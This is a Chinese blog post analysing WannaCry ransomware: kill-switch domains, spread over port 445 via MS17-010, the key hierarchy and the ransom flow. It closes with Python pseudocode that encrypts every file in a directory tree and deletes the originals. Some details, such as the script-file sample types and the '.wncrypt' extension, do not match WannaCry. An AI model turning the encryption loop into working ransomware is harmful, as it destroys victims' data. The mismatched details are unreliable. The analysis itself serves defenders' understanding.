wannacry

本文详细分析了WannaCry勒索病毒的工作原理,包括其传播机制、加密过程及解密难度。揭示了病毒如何利用MS17-010漏洞,通过随机扫描内外网IP尝试感染,以及其独特的停止传播机制。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  • 对应的IOC:www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
    www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
  • 勒索病毒的勒索过程:
    勒索病毒文件一旦进入本地,就会自动运行,同时删除勒索软件样本,以躲避查杀和分析。
    接下来,勒索病毒利用本地的互联网访问权限连接至黑客的C&C服务器,进而上传本机信息并下载加密公钥。然后,利用系统内部的加密处理,是一种不可逆的加密,除了病毒开发者本人,其他人是不可能解密的。
    加密完成后,还会在桌面等明显位置生成勒索提示文件,指导用户去缴纳赎金。且变种类型非常快,对常规的杀毒软件都具有免疫性。攻击的样本以js、wsf、vbe等类型为主,隐蔽性极强,对常规依靠特征检测的安全产品是一个极大的挑战。
    接下来会继续补充 wannacry的病毒分析。

Wannacry 相关介绍

1. 病毒母体为mssecsvc.exe, 
2. C:\Windows\mssecsvr.exe(变种)
3. 运行后会随机扫描内外网IP,尝试感染:扫描是否开放445端口,如果开放,尝试连接,若连接成功,则对该地址进行漏洞攻击感染:从攻击机下载WannaCry病毒,释放敲诈者程序:tasksche.exe,对磁盘文件进行加密。
4. 感染病毒的主机在发动之前都会事前拜访一下这个域名:
http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com假如这个域名不存在,那就持续传达;假如现已被人注册了,那就中止传达。
5. 利用的漏洞:MS17-010:https://www.freebuf.com/articles/system/139481.html
6.  加解密过程:加密文件采用AES(CBC)对称加密算法。
7. 随机生成对称密钥对文件进行加密,并将重要的文件加密后,删除原文件。
8. 解密难:生成了三对公私钥:PK1,DK1,PK2,DK2,PK3,DK3.其中DK1保存在服务器。
9. PK2,DK2保存在本地,用于解密部分被加密的文件-PK2对部分密钥进行加密。
10. PK3对其他的加密密钥进行加密,PK1对DK3进行加密,支付赎金后,病毒会发送DK3加密后的文件给服务器,服务器利用DK1进行解密,然后将DK3发送给用户,即可进行解密。
11. 交了赎金的电脑仍然可能被感染,因为勒索者并没有标记曾经被感染过的机器

参考资料:
1、http://blog.sina.cn/dpool/blog/s/blog_45bf5d7a0102xogf.html?md=gd
2、https://www.freebuf.com/articles/system/135196.html

### WannaCry 勒索软件源代码分析 WannaCry 是一种在全球范围内造成广泛影响的勒索软件,其攻击方式主要依赖于利用 Microsoft Windows 的漏洞进行传播。尽管具体的 WannaCry 源代码并未被官方公开发布,但通过研究已知的技术细节可以推测出它的核心机制。 #### 1. 攻击原理与技术实现 WannaCry 利用了名为 EternalBlue 的漏洞工具来感染目标计算机。EternalBlue 主要针对 SMB (Server Message Block) 协议中的安全缺陷执行远程代码注入操作[^1]。一旦成功入侵系统,恶意代码会加密用户的文件并要求支付赎金以解锁数据。 以下是基于公开资料整理的一个简化版 WannaCry 加密逻辑伪代码示例: ```python import os from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend def encrypt_file(file_path, key): cipher = Cipher(algorithms.AES(key), modes.CBC(os.urandom(16)), backend=default_backend()) encryptor = cipher.encryptor() with open(file_path, 'rb') as f: plaintext = f.read() ciphertext = encryptor.update(plaintext) + encryptor.finalize() encrypted_filename = file_path + ".wncrypt" with open(encrypted_filename, 'wb') as ef: ef.write(ciphertext) # 遍历目录下的所有文件并逐一加密 for root, dirs, files in os.walk("/path/to/user/files"): for name in files: full_path = os.path.join(root, name) try: encrypt_file(full_path, b'random_32_byte_key') os.remove(full_path) # 删除原始未加密版本 except Exception as e: print(f"Error processing {full_path}: {e}") ``` 上述代码仅用于说明目的,并不构成完整的 WannaCry 实现。实际的勒索软件可能涉及更复杂的多层架构以及网络通信功能。 #### 2. 数据库评估工具的应用场景扩展 对于企业级防护而言,除了关注操作系统层面的安全隐患外,数据库系统的安全性同样不可忽视。例如 Oracle 提供了一个名为 DBSAT (Database Security Assessment Tool) 的解决方案,可以帮助管理员识别潜在风险点[^2]。虽然该工具本身并不直接关联到像 WannaCry 这样的外部威胁向量上,但它强调了全面防御策略的重要性——即不仅需要修补已知漏洞,还要定期审查内部配置合规性和访问控制权限设置情况。 综上所述,在没有获得真实样本的情况下无法提供确切意义上的 “source code”,不过以上信息应该能够满足大部分学习需求关于此类恶意程序的工作流程理解方面的需求。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值